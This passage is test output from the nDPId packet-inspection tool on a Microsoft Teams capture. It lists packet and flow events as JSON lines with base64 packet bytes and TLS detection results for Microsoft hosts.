3d3cubWljcm9zb2Z0LmNvbS9wa2kvbXNjb3JwL2NwczAfBgNVHSMEGDAWgBRYiJ\/W3JxIIrcUPv+EiOjmhf\/6fTAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDQYJKoZIhvcNAQELBQADggIBADlaSLft\/Il2mfNfS96UN1u6SRdI6uOdxV\/SghC34ek6RV73kkGH\/KgGm5Qpn7ZmjaE7sCW67DpV9CSox9Z3dhmyY3WubiTFoRkhvmI2ia7VsKC3uTVFKGfcG3LipFC\/23JDrzT7qcdgDJzOLWf3MLJd1Kyh6NVC9EjRBrGrjji8xmok7R0RS8CcrVoIMxOsb4aFIvlKHgOLGwrUEg+jJK1WekigAR\/pyb5Ve0qqD3wvtdis9OWT8zz+JfQQtYBGzTf3Zo2YdFfy+cLVdoneW08GcCeeO0e+2qhhnfoQYTUFxVDlSKesMCCZ19oghBpnMirb2zEgWNe+6hV0VBHo0qa0oI+8VxV0m5jsWGKpN5r0RSQeZVBFjmNPja7EWAv9BG0nDBvzPaTNS9lsRoXc1ue7UQ2fGyQcImPgttcAOrqAGM9U+s0UrVqPi9GRGdpB+ymstXnktW0UVXqemudrGvUxOJRKDRvwctjZP2On9XpkEuwYzeJ7edeTKIXaTMPr5bSi6KtPMv8scypPxl6auLwwuyW3phPvh3sr9vdYmG1LA+UpioWKxGVlTy3H5MrR\/a3CRRhXX1OZmYh1RDRwmACanys8duLXWdgmjDNNxzIBOXG7wiGPQfS3+9iG0JTdXjbTpu3jNtZbvAVXCu9kow13tCXvpYdCShakHGed8k9wAAW4MIIFtDCCBJygAwIBAgIQCLh6UBu+nNotFk0+OVG\/VTANBgkqhkiG9w0BAQsFADBaMQswCQYDVQQGEwJJRTESMBAGA1UEChMJQmFsdGltb3JlMRMwEQYDVQQLEwpDeWJlclRydXN0MSIwIAYDVQQDExlCYWx0aW1vcmUgQ3liZXJUcnVzdCBSb290MB4XDTE2MDUyMDEyNTEyOFoXDTI0MDUyMDEyNTEyOFowgYsxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpXYXNoaW5ndG9uMRAwDgYDVQQHEwdSZWRtb25kMR4wHAYDVQQKExVNaWNyb3NvZnQgQ29ycG9yYXRpb24xFTATBgNVBAsTDE1pY3Jvc29mdCBJVDEeMBwGA1UEAxMVTWljcm9zb2Z0IElUIFRMUyBDQSAxMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAjvPxhHV3vL7JpPUWpVMrUGCZ3Nh92SS14XJJN0j+2oaTo30dmksQTXd5fmWpfG424kfUNknQzCQCJxTirnHN2Vd0PBBWGZJKh2L545CNXt7RQRsaph9AoiwejlXXJthoQqvsDd7dXmGVs6xsgc6o4K2vX8qm5FFoLif9VCpxpMy7fpLx9lNRBTHQGYKwymPQ8koAC830aUv0WpZWOSbJnUsKYzQy"} +02360{"flow_id":34,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1464,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041683,"pkt_ts_usec":257259,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUHSBAAG0GnKg0clg7wKgBBgG77INQlxoGJQBGDIAQBAV\/qwAAAQEICgHUBF0whLGmFgMDF3UCAABeAwNemFWTX+wdGNX8oxlCGUFyPvBvLhwa23SJPmbGfiAFTSAKNgAAYI5Bn7yZok1NjyjltU+IxFQsPzvZ6TxxnxJ15MAwAAAWAAUAAAAQAAUAAwJoMgAXAAD\/AQABAAsADo8ADowACM4wggjKMIIGsqADAgECAhN7AASlfowIISvJ5X2hAAAABKV+MA0GCSqGSIb3DQEBCwUAMIGLMQswCQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9uZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMRUwEwYDVQQLEwxNaWNyb3NvZnQgSVQxHjAcBgNVBAMTFU1pY3Jvc29mdCBJVCBUTFMgQ0EgMTAeFw0xOTA0MTcxODA1MTFaFw0yMTA0MTcxODA1MTFaMCkxJzAlBgNVBAMTHmNoYXRzdmNhZ2cudGVhbXMubWljcm9zb2Z0LmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANU1qnnBvmy8C7Js4SASBv8VhKovjO8KWcEBXJYH+nL92c58HW+\/O2tD936VWFXybN3aygUEbfsRDQxqdr4H5fX4AK7vRTgqqTK30Q27pyykcZLAPNVHl5CT3BDbK26mvB0bkclFS5N7mn2BO7jTdrLK2tIK5SlMnU69OwQAz23VGD4+wXMnI6UljEmHMh9LFdVrr0t79PNKfbfZYvlADsP84DPPW08tKNfSqe7UKmsJ7MMYbT0CJg98Hydo0keIWo0LvEudSSFVo66eTVpzBQ+lF9+LHRn3b3pHrs5Ur09HenhHW09yEF7fSCpJVCA4GnB+ZE5zHw2TzKxckD2Fv50CAwEAAaOCBIYwggSCMIIB+AYKKwYBBAHWeQIEAgSCAegEggHkAeIAdgCkuQmQtBhYFIe7E6LMZ3AKPDWYBPkb37jjd80OyA3cEAAAAWosgo7HAAAEAwBHMEUCIQDxsZNzYkLbM868bD3SMkNLWXX8lEALfvxqPoQGY5x2tgIgDEcJW3p8o64LKSWQRQ0+hsJn1\/JDWZihSsbo+ExTPccAdwBVgdTCFpA2AUrqC5tXPFPwwOQ4eHAlCBcvo6odBxPTDAAAAWosgo6rAAAEAwBIMEYCIQCVNmWzXEcKUnDtdzYtY1zrJRprglbAs8n2Ye0VfgyrhAIhANdbj8+fopl1sUicALfp38YDI4gwAAs5\/Cl8K38eMOLqAHYARJRlLrDuzq\/EQAfYqP4owNrmgr7YyzG1P9MzlrW2gagAAAFqLIKOrQAABAMARzBFAiBZfs1DPFEJiU6\/3XIJfgFRhP6k6Nx0f85Q3SaNv1cmwgIhALcW2jWl+eD\/\/wQgRUpHHHxjIdpbgQykhNksyH6XUpOWAHcA7ku9t3XOYLrhQmkfq+GeZqMPfl+wctiDAMR7iXqo\/csAAAFqLIKOwQAABAMASDBGAiEA3F7dGIpug0aCn6LwM2SYyuKjt9KzmSMxBdPRBbC+H2kCIQCd1JR1wwjqsINPZmZUwAHCOJo7tLF4e9bN96ALAzkBTjAnBgkrBgEEAYI3FQoEGjAYMAoGCCsGAQUFBwMCMAoGCCsGAQUFBwMBMD4GCSsGAQQBgjcVBwQxMC8GJysGAQQBgjcVCIfahnWD7tkBgsmFG4G1nmGF9OtggV2E0t9CgueTegIBZAIBHTCBhQYIKwYBBQUHAQEEeTB3MFEGCCsGAQUFBzAChkVodHRwOi8vd3d3Lm1pY3Jvc29mdC5jb20vcGtpL21zY29ycC9NaWNyb3NvZnQlMjBJVCUyMFRMUyUyMENBJTIwMS5jcnQwIgYIKwYBBQUHMAGGFmh0dHA6Ly9vY3NwLm1zb2NzcC5jb20wHQYDVR0OBBYE"} +00440{"flow_id":34,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1465,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041683,"pkt_ts_usec":257321,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAG7FzAqAEGNHJYO+yDAbslAEYMUJcaBrAQEAlP3AAAAQEICjCEsckB1ARAAQEFClCXH6ZQlyVG"} +00424{"flow_id":34,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1466,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041683,"pkt_ts_usec":257341,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG7GjAqAEGNHJYO+yDAbslAEYMUJclRoAQD69hCwAAAQEICjCEsckB1ARd"} +02372{"flow_id":34,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1467,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041683,"pkt_ts_usec":257449,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUHSJAAG0GnKY0clg7wKgBBgG77INQlyVGJQBGDIAQBAXjtAAAAQEICgHUBF0whLGmgKUE5eoot8EAwG0a8CjUSo+ArHMZ2PUWL62uCJdiBiz+56XwrUFTf40rMcMUcyHd43hjnFGGtaJIScB5CBVDACuZuEvgx1cHbMS5plQtAVPyo\/KkzNnBVPOIzeRME9OKMyFYrRi\/vjmBcDlpN\/hbpGPvCQffhxpix5oIxdEdXmJ2Ad1p5ji7RLAtTTrGLoDgYHJb8szmjlw6IR5dsDkrveoTy5bLtmp0jI68DhCfG6VAQY+RXHanDvGqOoe3DHffcWovKGFCLZAPcgWrZ+DBe8ucQJrECghEjHw9uqkOHrHZIr0fX0Fqc1T2ZuKg+aY53tJ382kEv7e7PMST\/3IEHLU2nWh\/3\/o5T7L2j7kc\/63tDhUI44Z88khJd5cW9v0A9k+mXm\/nOcBRZT3rsZcw7Oqec\/weLKDfi89zX7UOBkIXJpXs2Kkn0NBllFziP8ooKaUg9MjdXbT\/5t0CAwEAAaOCAUIwggE+MB0GA1UdDgQWBBRYiJ\/W3JxIIrcUPv+EiOjmhf\/6fTAfBgNVHSMEGDAWgBTlnVkwgkdYzKz6CFQ2hns6tQRN8DASBgNVHRMBAf8ECDAGAQH\/AgEAMA4GA1UdDwEB\/wQEAwIBhjAnBgNVHSUEIDAeBggrBgEFBQcDAQYIKwYBBQUHAwIGCCsGAQUFBwMJMDQGCCsGAQUFBwEBBCgwJjAkBggrBgEFBQcwAYYYaHR0cDovL29jc3AuZGlnaWNlcnQuY29tMDoGA1UdHwQzMDEwL6AtoCuGKWh0dHA6Ly9jcmwzLmRpZ2ljZXJ0LmNvbS9PbW5pcm9vdDIwMjUuY3JsMD0GA1UdIAQ2MDQwMgYEVR0gADAqMCgGCCsGAQUFBwIBFhxodHRwczovL3d3dy5kaWdpY2VydC5jb20vQ1BTMA0GCSqGSIb3DQEBCwUAA4IBAQAwmsadav3vkwgMvoJ3+XagbZ57MCN7qCla9Go+xwsMlt+4S1LkDZw47XhjtXPAHB874Kf\/f0lRlTK40Jup5c+WA4GA1UphGP7Easbff0FGIpyAZusPQqDk86Qho5jQenT2jOjD0iuqK84RWRlE51wHCULr1\/0VTblvbEQ1Joe6oztosIHnIMl\/EwLzzKufHJVQy65kgLuHCl3OpmuyfeM9NuIpUbcl\/NAJ47CtxGIuPn6FJrL2r\/dtMXPGGZipcpMCzsoLPTzs2XDogPUWq3hqh03GgTeoCnaBBqjvF2B8cBATPDjXM0zkN2UI+5Gz6BZ2YSpl9ViUs0UB78BPA3u4FgAHKwEABycwggcjCgEAoIIHHDCCBxgGCSsGAQUFBzABAQSCBwkwggcFMIHHohYEFKkocFEZlQPiad8y5tgPkAlcmamAGA8yMDIwMDQxNjAyNTQ0MlowgZswgZgwTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7\/hIjo5oX\/+n0CE3sABKV+jAghK8nlfaEAAAAEpX6AABgPMjAyMDA0MTYwMjU0NDJaoBEYDzIwMjAwNDIwMDI1NDQyWqEiMCAwHgYJKwYBBQUHMAEGBBEYDzIwMTkwNDE3MDI1NDQyWjANBgkqhkiG9w0BAQsFAAOCAQEAkGxsmza8HqjkxFu7fydx0ZQY2Ts2Q3XgK1QTnlIVcXA6yVF71Th6Bs6ddQUMT8CTHijCpil51E3l70RSv5s5rde5Z8ZVKMXa8mIkogfqr3DRAHn\/BytRPIlYhXRed6PUydmPy+AnclMCFNY9PsclGVwJiqAmPwKowiQOkIXcJCt6lrTVSmJg1chg3e3YO8b8kngQu57XkPbNe2kp7gmgIbvqp96tOBCHXPw44cD+VRZ5zAp2fIDd8arqy8uxsJ+5lEn0nfbTVio2gUhWe11pXWdKkW4qcIcdjuQaFk7A"} +00425{"flow_id":34,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1468,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041683,"pkt_ts_usec":257512,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG7GjAqAEGNHJYO+yDAbslAEYMUJcq5oAQEABbGgAAAQEICjCEsckB1ARd"} +02370{"flow_id":34,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1469,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041683,"pkt_ts_usec":257569,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUHSNAAG0GnKU0clg7wKgBBgG77INQlyrmJQBGDIAQBAVOzwAAAQEICgHUBF0whLGm9N7RLZxEmshPicngAt8gk1329RdLuJJIty\/fggAjQzUUQaCCBSMwggUfMIIFGzCCAwOgAwIBAgITYQAUmqeurCw6NqkXTgAAABSapzANBgkqhkiG9w0BAQsFADCBizELMAkGA1UEBhMCVVMxEzARBgNVBAgTCldhc2hpbmd0b24xEDAOBgNVBAcTB1JlZG1vbmQxHjAcBgNVBAoTFU1pY3Jvc29mdCBDb3Jwb3JhdGlvbjEVMBMGA1UECxMMTWljcm9zb2Z0IElUMR4wHAYDVQQDExVNaWNyb3NvZnQgSVQgVExTIENBIDEwHhcNMjAwNDAyMTcxMzMzWhcNMjEwNDAyMTcxMzMzWjArMSkwJwYDVQQDDCBNaWNyb3NvZnRfSVRfVExTX0NBXzFfS2V5QmluZGluZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAJtZmgzNzR4HQBoCasm0a5liqkiihAGL33a02D3zqSPRUa89chUdeBktHuFAwdqyg5ZyrLqPREX\/0KqZuCS\/Ery9Kbo5p+maHhsztreU6jExApFqG9bYi0ANSWDgPEUSyr\/+kLLyczF9KjGxRzQaOLIKwF6DLlo2XKlsR+H8q7AWXYHNJsKbqGFZA9bzpjVsz2TIpo0DeHEjJFkANfGnycoad2aLdytDsAwnvsFkyopgTFWLmLpUldtrcjDnoJFiXObLn76Zd\/N1ChshLmaYaXCwcTZwmq3SAP2U3HHR6fSvLBfpisHqcXrX9XDA80hDf\/5UnDMPb51\/b+R\/CYyq458CAwEAAaOB1jCB0zAdBgNVHQ4EFgQUqShwURmVA+Jp3zLm2A+QCVyZqYAwDgYDVR0PAQH\/BAQDAgeAMBMGA1UdJQQMMAoGCCsGAQUFBwMJMA8GCSsGAQUFBzABBQQCBQAwHwYDVR0jBBgwFoAUWIif1tycSCK3FD7\/hIjo5oX\/+n0wPgYJKwYBBAGCNxUHBDEwLwYnKwYBBAGCNxUIh9qGdYPu2QGCyYUbgbWeYYX062CBXYHMm0eByOkWAgFkAgEHMBsGCSsGAQQBgjcVCgQOMAwwCgYIKwYBBQUHAwkwDQYJKoZIhvcNAQELBQADggIBAILSMNVxgXGuhK89Tr7M4L6FmnK+RmWz8B9CJhVJKpZCi6wxl9uncO\/H+qcuVbqxycrHlD3CjYqqLdGFUl1MpmqdCu85LTMXouzn0c8axDkrTBUYX+HhB1fzu\/wMgUfRZLLScLnGprZ6QyEmcVz1va69OT5Kzk3Z5VcqwDgqGH2g5xEPtcT6IrQ2stKVXLBmLu+wa2yKISs08KzRJYla0csR8Ipr72h3yRHiO90MNMays+T9ggI46vjUt6KuNkoczv2Qnl5CSCEMUiLTIjPyosQOtVFLNn+VDbmGVBPNX33eXyTWQz3o0N9nMxo4LKQm78r5wBA+Tv2amgO2EGGqt50kXMj+MtCjh1DXlq2qZKn9lRn\/UF7h3HwwIVF99CHVUp77vwizazItUXPwmbfX9LC3p9yBmo+4nyngXyDbClI+1LZIJehHanTGa3yy5ohuvmN\/yj8libRnyGTN3umWOQdsEczK2GEjUz9ZNoPiAd77\/0wJJBesgIZtz8\/nf0ZfpSA3AGl7oxndbeizEagyaWFJiyQ3cH8xHA0+tw3nWB8OQrDDsoscrsJ4nUZRwEkEAtXZnjqkW1dHUMVA0dJJhstciwAd2CkXsaVQrbY0mL7G2GxLSpqUByEEPBsI1r+FvarGG26OzyVnNAzYe7SeN5VW7NI80NGo6Xmshkb8aSKIDAABSQMAF0EECyZwb\/z8\/fVquGks61PWTsNEX00tNgEaVObOwuLa7dGZETmWEfg9xmDCkg3hS+AduBfupEdScrsQzR+cwcVUDwQBAQAnZaSsKxsVP5nw"} +00770{"flow_id":34,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1470,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041683,"pkt_ts_usec":257571,"pkt_caplen":316,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":316,"pkt_l4_len":282,"pkt":"KDc3AG3IEBMx8Tl2CABFAAEuHSRAAG0GoUo0clg7wKgBBgG77INQlzCGJQBGDIAYBAXjWgAAAQEICgHUBF0whLGmPnH4YmtZOu6GMruQC257Q3dc\/8pw9\/ie7cc8j0NsI9WLanx28OKtxQVz2r+HoIpjHmE1yckU6+O7y+1gODmc08tzcI47YNCYFmYnHLY44lsk5kuYbPacslPtdaYNzzbCG0qnuLWVQvcQZW+El\/G\/hVQQlb5z3dOTDFV484qzmq8OlTbS98cZUc9rwC9hiPK3QqulatiAjRfxVJV0c0b\/qshk1CjWPxbley54TTxPeOY892DrdvM3cbiF62Im6scY3GSWh09Ooc1FfF6ot9RF9flslwdcwuCa1uwy74tyd5kpLdlfm50CD4LKaC1t\/U1oGu1c8PB5DgAAAA=="} +00425{"flow_id":34,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1471,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041683,"pkt_ts_usec":257610,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG7GjAqAEGNHJYO+yDAbslAEYMUJcxgIAQD8tUtQAAAQEICjCEsckB1ARd"} +00596{"flow_id":34,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1472,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041683,"pkt_ts_usec":258621,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"EBMx8Tl2KDc3AG3ICABFAACyAABAAEAG6+rAqAEGNHJYO+yDAbslAEYMUJcxgIAYEACBEQAAAQEICjCEscoB1ARdFgMDAEYQAABCQQRezSsAnQlWi0lqjQ4SpHGDfX17OXxqfEsHS8ZLdzsrGwBaBZFaQaUp8s6URLRqDEULI2+tuWAliD5jYvlhw6DSFAMDAAEBFgMDACgAAAAAAAAAAJnk61cTj4qNF6lQxeOyYfjOa3e0tTslesD1nI3CMPG4"} +00554{"flow_id":34,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1473,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041683,"pkt_ts_usec":270660,"pkt_caplen":159,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":159,"pkt_l4_len":125,"pkt":"EBMx8Tl2KDc3AG3ICABFAACRAABAAEAG7AvAqAEGNHJYO+yDAbslAEaKUJcxgIAYEADGawAAAQEICjCEsdUB1ARdFwMDAFgAAAAAAAAAAU4rtga3rq\/SDasDr\/c8RLmPqsh8im3OWQrnz2JH7mVci39ydqqhqXreT6iBJDhCtIoiv56M41zLr4M5t0Mld8g5EWihM+F4YqGRaSsS8K2G"} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1492,"source":"teams.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":1,"flow_first_seen":1587041683333,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.77.33","src_port":60548,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":35,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1492,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041683,"pkt_ts_usec":333389,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAG93bAqAEGNHJNIeyEAbsX4foHAAAAALAC\/\/8Q\/AAAAgQFtAEDAwUBAQgKMISyEgAAAAAEAgAA"} +00437{"flow_id":35,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1493,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041683,"pkt_ts_usec":378966,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8VAJAAGwGd3g0ck0hwKgBBgG77IQbiSB\/F+H6CKASIABpjQAAAgQFoAEDAwgEAggKYR77TDCEshI="} +00424{"flow_id":35,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1494,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041683,"pkt_ts_usec":379074,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG94LAqAEGNHJNIeyEAbsX4foIG4kggIAQEAmoEAAAAQEICjCEsj9hHvtM"} +00705{"flow_id":35,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1495,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041683,"pkt_ts_usec":379360,"pkt_caplen":272,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":272,"pkt_l4_len":238,"pkt":"EBMx8Tl2KDc3AG3ICABFAAECAABAAEAG9rTAqAEGNHJNIeyEAbsX4foIG4kggIAYEAle8wAAAQEICjCEsj9hHvtMFgMBAMkBAADFAwNQ2mjoGM5bceT+50qedBeC2QzxBSnWB8x+XpaOKMz6dSCjQgAAk2B6jpiMP4aNnNPzeGx44\/6X3U2RH3y64O03zgAewC\/AK8AwwCzMqcyowAnAE8AKwBQAnACdAC8ANQAKAQAAXv8BAAEAAAAAIwAhAAAebW9iaWxlLnBpcGUuYXJpYS5taWNyb3NvZnQuY29tABcAAAAjAAAADQAUABIEAwgEBAEFAwgFBQEIBgYBAgEACwACAQAACgAIAAYAHQAXABg="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1495,"source":"teams.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":4,"flow_first_seen":1587041683333,"flow_last_seen":1587041683379,"flow_tot_l4_data_len":354,"flow_min_l4_data_len":32,"flow_max_l4_data_len":238,"flow_avg_l4_data_len":88,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.77.33","src_port":60548,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Microsoft","breed":"Safe","category":"Cloud"},"tls": {"version":"TLSv1.2","client_requested_server_name":"mobile.pipe.aria.microsoft.com","ja3":"a1674500365bdd882188db63730e69a2","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00386{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1499,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041683,"pkt_ts_usec":406443,"pkt_caplen":60,"pkt_type":34969,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"\/\/\/\/\/\/\/\/2A0X1lWriJklgAAA2A0X1lWrAACAAADYDRfWVauACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00158{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":1499,"source":"teams.pcap","alias":"nDPId-test","type":34969} +02365{"flow_id":35,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1500,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041683,"pkt_ts_usec":430778,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUVANAAGwGcd80ck0hwKgBBgG77IQbiSCAF+H61oAQBAWFnQAAAQEICmEe+38whLI\/FgMDEGYCAABRAwNemFWT1kX8u9ATY\/YCwH831ucgt0juCj9cD9NieB4F3SDMFgAAPSmx1EB8rJYwgB6DDk65Ho1qqYZPmBoFpBpgkMAwAAAJABcAAP8BAAEACwAO3QAO2gAJHDCCCRgwggcAoAMCAQICExYACr2jKIomrOvxeF4AAAAKvaMwDQYJKoZIhvcNAQELBQAwgYsxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpXYXNoaW5ndG9uMRAwDgYDVQQHEwdSZWRtb25kMR4wHAYDVQQKExVNaWNyb3NvZnQgQ29ycG9yYXRpb24xFTATBgNVBAsTDE1pY3Jvc29mdCBJVDEeMBwGA1UEAxMVTWljcm9zb2Z0IElUIFRMUyBDQSA0MB4XDTE5MTAxMDIxNTUzOFoXDTIxMTAxMDIxNTUzOFowJjEkMCIGA1UEAwwbKi5ldmVudHMuZGF0YS5taWNyb3NvZnQuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAq8J31SJyCTCkjxtLC8JE7aU56y+0937PcYfrFGWW\/wSL1vxV6UtbY+5UyBq7YUvoZUI+YYWI6FMysHpnkiGQR5h3NLX2it0lgM0JMJXgIYfO+vdhJalxciwWfJHOcY4+eUQwpTmpGeOTzK\/sd1W+VOYbkgWPJ0lAEgTcRXL\/NZZAtyce+Sv4+b4jHwY9pwQxOHJWtnns0bK3jD\/RcAtjLeUisGvBGtt1SItPOQvgD6i2AdvjCkjqVXn0nxT\/yKuGkvtii1i85nrjeMS5pKgL+N2I4goIXeRAaK089dd0KrnNO6kLEhhSHgHwJHnPwfqeXH1Q2p1Zw2r13mOsJdyP7QIDAQABo4IE1zCCBNMwggF\/BgorBgEEAdZ5AgQCBIIBbwSCAWsBaQB2APZclC\/RdzAiFFQYCDCUVo7jTRMZM7\/fDC8gC8xO8WTjAAABbbe0zD0AAAQDAEcwRQIgXUu8wYK\/QqX5unkLcaUv4T8oQWu5yZb6M3RYbUFPJ7sCIQCVvziq+dynpJXSFyAk+ZobbjdMm8Ziuyzc0miXoW9hmQB2AFWB1MIWkDYBSuoLm1c8U\/DA5Dh4cCUIFy+jqh0HE9MMAAABbbe0zTwAAAQDAEcwRQIgOIr7NuYD18H8X6OV\/YdBgg0HoCy47ognD1Etlbp3ZVgCIQCAVAoqvjDqhz4It72mColVOT\/FZuexWjdVPWkvuAPY1AB3AESUZS6w7s6vxEAH2Kj+KMDa5oK+2MsxtT\/TM5a1toGoAAABbbe0zEEAAAQDAEgwRgIhAMLyKXAV0HvPisLX5tlLiDTgtSUtRgffnQWc5h8Pdj8PAiEAo6ENbH0+qORahbVCksBW940dOZQUoTXblsn+bri9ExQwJwYJKwYBBAGCNxUKBBowGDAKBggrBgEFBQcDAjAKBggrBgEFBQcDATA+BgkrBgEEAYI3FQcEMTAvBicrBgEEAYI3FQiH2oZ1g+7ZAYLJhRuBtZ5hhfTrYIFdhNLfQoLnk3oCAWQCAR0wgYUGCCsGAQUFBwEBBHkwdzBRBggrBgEFBQcwAoZFaHR0cDovL3d3dy5taWNyb3NvZnQuY29tL3BraS9tc2NvcnAvTWljcm9zb2Z0JTIwSVQlMjBUTFMlMjBDQSUyMDQuY3J0MCIGCCsGAQUFBzABhhZodHRwOi8vb2NzcC5tc29jc3AuY29tMB0GA1UdDgQWBBQa+kPWU8gwtBlTGMvS3dHpIWlv7TALBgNVHQ8EBAMCBLAwgfIGA1UdEQSB6jCB54IbKi5ldmVudHMuZGF0YS5taWNyb3NvZnQuY29tghlldmVudHMuZGF0YS5taWNyb3NvZnQuY29tghkqLnBpc